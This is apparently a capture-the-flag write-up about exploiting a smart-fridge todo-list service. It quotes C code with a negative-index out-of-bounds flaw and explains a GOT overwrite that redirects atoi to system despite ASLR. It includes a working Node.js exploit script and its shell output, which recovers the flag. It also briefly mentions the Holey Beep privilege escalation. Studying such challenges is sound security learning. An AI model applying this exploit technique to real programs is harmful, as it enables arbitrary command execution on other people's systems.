It's unfortunate, but these SUID binary exploits are a bit too difficult. I managed to solve none of them. I will go study more about SUID binaries and hopefully I can get cakes next year.
But hey, I did manage to hack into the smart fridge.
The source code of the vulnerable program is included in the attachment. Reading over it, it's not hard to see what's broken, but how to exploit it is another question:
// [...]
void store_todo() {
printf("In which slot would you like to store the new entry? ");
fflush(stdout);
int idx = read_int();
if (idx > TODO_COUNT) {
puts(OUT_OF_BOUNDS_MESSAGE);
return;
}
printf("What's your TODO? ");
fflush(stdout);
read_line(&todos[idx*TODO_LENGTH], TODO_LENGTH);
}
void print_todo() {
printf("Which entry would you like to read? ");
fflush(stdout);
int idx = read_int();
if (idx > TODO_COUNT) {
puts(OUT_OF_BOUNDS_MESSAGE);
return;
}
printf("Your TODO: %s\n", &todos[idx*TODO_LENGTH]);
}
// [...]
If I enter a negative number, I can read and write data out of bound. However,
TODO_LENGTH
is 0x30
, so my access is somewhat restricted. With some math
and a disassembler, I found places that I can access:
-6 The "write" function in the Global Offset Table
-5 The "strncat" function in the Global Offset Table
-4 The "open" function in the Global Offset Table
-3 Some random place
-2 Start of "username" buffer
-1 Somewhere in the middle of "username" buffer
The system
function in between write
and strncat
would allow me to
execute any shell command, so my goal should be to overwrite the Global Offset
Table (GOT) and make some other function point to system
. Since atoi
is
used to parse my menu choice input, it would be easy to exploit if I can make
atoi
point to system
. But there is another problem, modern operating
systems have Address Space Layout Randomization (ASLR), and a static payload
would not work.
I spent some time creating a
Node.js library
that allow my scripts to react to different server response over netcat
.
Since I can't directly read the address of system
, I have to calculate it
based on something else. strncat
is already called before I can leak the
GOT, but write
is only called when the program is exiting, so its GOT entry
should be still pointing to the Procedure Linkage Table (PLT). With Hopper
Disassembler, I determined that the system
entry in PLT is 0x30
below
write
. Hopefully it'll work:
"use strict";
const assert = require("assert");
const hex_utils = require("./lib/hex_utils");
const net_utils = require("./lib/net_utils");
const conn = new net_utils("fridge-todo-list.ctfcompetition.com", 1337);
(async () => {
// Log in as (fake) root
await conn.read_until("user:");
conn.write_line("root");
await conn.read_until(">");
conn.write_line("2");
// Leak address of "write" in the GOT
await conn.read_until("read?");
conn.write_line("-6");
await conn.read_until("TODO: ");
let data = await conn.read_until("Hi root");
const i = data.indexOf("\n\n");
assert(i !== -1);
data = data.slice(0, i);
hex_utils.add_carry(data, 0x30);
// Overwrite "atoi" with "system", corrupting "open" on the way, I don't
// need "open" anymore, so it's OK
await conn.read_until(">");
conn.write_line("3");
await conn.read_until("entry?");
conn.write_line("-4");
await conn.read_until("TODO?");
conn.write_bytes("A".repeat(8));
conn.write_bytes(data);
conn.write_bytes("\n");
// List directory
await conn.read_until(">");
conn.write_line("ls -al ./todos");
})();
Let's try it:
$ node exploit
[...]
> ls -al ./todos
total 12
drwxrwxrwt 2 user user 80 Jul 8 03:47 .
drwxr-xr-x 3 user user 4096 Jun 29 14:38 ..
-rw-r--r-- 1 user user 6144 Jul 8 03:47 CountZero
-rw------- 1 user user 0 Jul 8 03:47 root
[...]
Looks like Wintermuted is using CountZero
as his username:
$ nc fridge-todo-list.ctfcompetition.com 1337
[...]
user: CountZero
+=====+=================================================================+
| 0 | Watch Hackers (again) |
| 1 | Figure out why the fridge keeps beeping |
| 2 | check /home/user/holey_beep |
| 3 | debug the fridge - toilet connectivity |
| 4 | follow sec advice: CTF{goo.gl/cjHknW} |
+=====+=================================================================+
[...]
And there is the flag. Check /home/user/holey_beep
? What does that mean?
As for the URL in the flag, it links to a (troll) tweet saying signed integers are more secure than unsigned ones.
Holey Beep, or CVE-2018-0492,
is a privilege escalation vulnerability in the beep
utility. Although I
managed to understand how Holey Beep works, I didn't manage to complete this
quest…
I will be back… Next year…